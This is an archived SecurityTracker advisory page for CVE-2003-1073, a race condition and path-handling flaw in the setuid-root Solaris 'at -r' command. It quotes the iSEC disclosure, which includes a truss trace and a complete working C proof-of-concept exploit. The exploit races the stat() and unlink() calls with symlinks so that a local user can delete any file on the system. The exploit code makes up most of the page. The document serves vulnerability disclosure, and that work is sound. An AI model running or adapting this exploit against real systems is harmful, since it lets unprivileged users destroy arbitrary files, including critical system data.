SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   OS (UNIX)  >   At Vendors:   Sun
Sun Solaris 'at' Command Race Condition Enables Local Users to Delete Arbitrary Files
SecurityTracker Alert ID:  1005994
SecurityTracker URL:  http://securitytracker.com/id/1005994
CVE Reference:   CVE-2003-1073   (Links to External Site)
Updated:  Jun 15 2008
Original Entry Date:  Jan 27 2003
Impact:   Denial of service via local system, Modification of system information, Modification of user information
Exploit Included:  Yes  

Description:   A vulnerability was reported in the Sun Solaris at command. A local user can delete arbitrary files on the system.

iSEC Security Research reported that there is a flaw in the /usr/bin/at binary. The binary is configured with set user id (setuid) root privileges and allows at-jobs to be removed using the '-r' command line switch. The code that removes at-jobs from the at spool directory can reportedly be made to remove jobs located outside of the spool directory if the local user supplies a relative path name instead of an absolute path name.

The command will attempt to verify the ownership of the target file. However, a local user can modify the filesystem between the time that 'at' performs a stat() call on the target file and the time that 'at' removes (unlinks) the target file. A local user can create a symbolic link from an at-job file name to a target file on the system after the stat() call and before the unlink() call. The at-job binary may remove the symlinked target file.

A demonstration exploit is provided in the Source Message.

Impact:   A local user can remove arbitrary files on the system.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.sun.com/ (Links to External Site)
Cause:   Input validation error, State error
Underlying OS:  UNIX (Solaris - SunOS)

Message History:   This archive entry has one or more follow-up message(s) listed below.
(Sun Issues Fix) Re: Sun Solaris 'at' Command Race Condition Enables Local Users to Delete Arbitrary Files
Sun has issued patches.



 Source Message Contents

Subject:  [VulnWatch] Sun Microsystems Solaris at -r job name handling and race condition


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


Synopsis:	at -r job name handling and race condition vulnerabilities
Product:	Sun Microsystems Solaris
Version: 	all

URL:		http://isec.pl/vulnerabilities/isec-0008-sun-at.txt
Author:		Wojciech Purczynski <cliph@isec.pl>
Date:		November 1, 2002
Update:		January 27, 2003


Issue:
======

Race condition and argument handling vulnerabilities in the setuid-root 
/usr/bin/at binary allows to remove any file on the filesystem.


Details:
========

At utility reads commands from standard input and groups them together
as an at-job, to be executed at a later time.

Each at-job is kept in separate file in at spool directory. At jobs my
be removed if -r option is used with a job-id parameter to the at
command.

However, there are two vulnerabilities within the code that removes
at-job from at spool directory.

At utility does not properly handle job ids specified as a parameter to
the -r option. It allows to remove jobs outside of at's spool directory
if relative path name is used. Only absolute path names are filtered
out.

At verifies ownership of the file and limits the user to remove only its
own at-jobs. Unfortunatelly, a race condition occurs after at stats the
file and before the file is unlinked. By altering directory structure
between these two system calls, at may be fooled to remove file other
than it expects.

Since this code is executed with full root privileges, these two
vulnerabilities may allow unprivileged users to remove any files on the
filesystem.

Below is an example of truss output that uncovers the vulnerability:

bash# truss -o log /usr/bin/at -r ../../../../tmp/foo
[...]
chdir("/var/spool/cron/atjobs")                 = 0
stat64("../../../../tmp/foo", 0xFFBEF360)       = 0
[...]
unlink("../../../../tmp/foo")                   = 0
[...]


Exploit:
========

Below is attached a working proof-of-concept exploit. It should succeed
after few trials (single dot is printed on each trial):

- ------8<------isec-solaris-at-rm------8<------
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <errno.h>
#include <stdlib.h>
#include <sys/param.h>
#include <fcntl.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/wait.h>

#define maxjobs 256
#define tmpdir	"/tmp"
#define at	"/usr/bin/at"

char target[MAXPATHLEN+1];
char targetfile[MAXPATHLEN+1];
char targetdir[MAXPATHLEN+1];

void cleandirs(void);

void err(char * msg)
{
	if (errno) {
		int error = errno;
		perror(msg);
		cleandirs();
		errno = error;
		exit(errno);
	}
}

void gohome(void)
{
	char * home;

	home = getenv("HOME");
	if (!home) {
		errno = EINVAL;
		err("getenv(\"HOME\")");
	}
	if (chdir(home) < 0)
		err("chdir($HOME)");
}

void cleandirs(void)
{
	int no;
	char * tmp;

	for (no = 0; no < maxjobs; no++) {
		char path[MAXPATHLEN+1];
		snprintf(path, MAXPATHLEN, "%s/%i/%s", tmpdir, no, targetfile);
		path[MAXPATHLEN] = '\0';
		unlink(path);
		snprintf(path, MAXPATHLEN, "%s/%i", tmpdir, no);
		path[MAXPATHLEN] = '\0';
		unlink(path);
		rmdir(path);
	}
}

void createdirs(char ** argv)
{
	int no;

	for(no = 0; no < maxjobs; no++) {
		char path[MAXPATHLEN+1];
		int fd;

		snprintf(path, MAXPATHLEN, "%s/%i", tmpdir, no);
		path[MAXPATHLEN] = '\0';

		unlink(path);
		if (mkdir(path, 0755) < 0 && errno != EEXIST)
			err("Unable to create directory");

		snprintf(path, MAXPATHLEN, "../../../..%s/%i/%s", tmpdir, no, targetfile);
		path[MAXPATHLEN] = '\0';

		fd = open(path, O_CREAT|O_RDONLY, 0755);
		if (fd < 0 && errno != EEXIST)
			err("Unable to create file");
		close(fd); /* empty file is just fine */

		argv[no] = strdup(path);
		if (!argv[no])
			err("Unable to allocate memory");
	}
	argv[no] = NULL;
}

pid_t spawnat(char ** argv)
{
	int no, fd;
	pid_t child;

	child = fork();
	if (child < 0)
		err("Unable to fork");

	if (child)
		return child;

	/* child process */

	if (nice(19) < 0)
		err("Unable to change priority");

	fd = open("/dev/null", O_RDWR);
	if (fd < 0)
		err("Unable to open /dev/null");

	if (dup2(fd, STDIN_FILENO) < 0 ||
	    dup2(fd, STDOUT_FILENO) < 0 ||
	    dup2(fd, STDERR_FILENO) < 0)
		err("Unable to dup /dev/null");

	if (fd > STDERR_FILENO)
		close(fd);
	
	execv(argv[0], argv);
	err("Unable to execute at binary");
}

int doit(char * target)
{
	int no = 0;
	char path[MAXPATHLEN+1];
	char * argv[maxjobs + 3];
	pid_t child;
	uid_t uid = getuid();
	int result = -1;

	argv[0] = at;
	argv[1] = "-r";
	createdirs(argv+2);
	child = spawnat(argv);

	while (no < maxjobs) {
		struct stat st;

		/* check if previous attempt succeeded */
		if (stat(target, &st) < 0) {
			if (errno == ENOENT) {
				result = 0;
				break;
			} else 
				err("Unable to stat target file");
		}

		/* wait until file is deleted */
		snprintf(path, MAXPATHLEN, "%s/%i/%s", tmpdir, no, targetfile);
		path[MAXPATHLEN] = '\0';
		while (stat(path, &st) == 0) ;

		if (errno != ENOENT)
			err("Unable to stat temporary file");

		/* stop the child to exploit race condition */
		if (kill(child, SIGSTOP) < 0)
			break;

		/* find first file that hasn't been removed yet */
		while (++no < maxjobs) {
			snprintf(path, MAXPATHLEN, "%s/%i/%s", tmpdir, no, targetfile);
			path[MAXPATHLEN] = '\0';
			if (stat(path, &st) == 0)
				break;
			if (errno != ENOENT)
				err("Unable to stat temporary file");
		}
		
		/* all jobs removed - too late */
		if (no == maxjobs) {
			kill(child, SIGCONT);
			break;
		}

		if (unlink(path) < 0)
			err("Unable to remove temporary file");
		
		*strrchr(path, '/') = '\0';
	
		if (rmdir(path) < 0)
			err("Unable to remove temporary directory");
		
		if (symlink(targetdir, path) < 0)
			err("Unable to create symlink");

		if (kill(child, SIGCONT) < 0)
			err("Unable to continue child process");

		no++;
	}

	/* avoid zombie processes */
	waitpid(child, NULL, 0);
	for (no = 0; no < maxjobs; no ++)
		free(argv + no + 2);
	return result;
}

int main(int argc, char * argv[])
{
	char * tmp;

	fprintf(stderr, 
"
/usr/bin/at -r race condition exploit

Remove any file on the filesystem.

Bug found and exploit written by Wojciech Purczynski <cliph@isec.pl>
iSEC Security Research http://isec.pl/

");

	gohome();

	errno = EINVAL;
	if (argc < 2)
		err("Required parameter missing");
	if (argv[1][0] != '/')
		err("Absolute path required");

	strncpy(target, argv[1], MAXPATHLEN);
	target[MAXPATHLEN] = '\0';
	tmp = strrchr(argv[1], '/');
	*tmp = '\0';
	if (tmp == argv[1])
		strcpy(targetdir, "/");
	else {
		strncpy(targetdir, argv[1], MAXPATHLEN);
		targetdir[MAXPATHLEN] = '\0';
	}
	strncpy(targetfile, tmp+1, MAXPATHLEN);
	targetfile[MAXPATHLEN] = '\0';

	while (doit(target))
		fprintf(stderr, "."); /* przygarnij kropka */
	fprintf(stderr, "Success!\n");
	cleandirs();
	return 0;
}
- ------8<------isec-solaris-at-rm------8<------


- -- 
Wojciech Purczynski
iSEC Security Research
http://isec.pl/

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (GNU/Linux)

iD8DBQE+NSDOC+8U3Z5wpu4RApE+AKDGTd4HGDAJsOFZ77DREcAcqyKKawCgu60c
Ipo75aTIE3r3NMTNKqWO4NY=
=YZYI
-----END PGP SIGNATURE-----




 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2021, SecurityGlobal.net LLC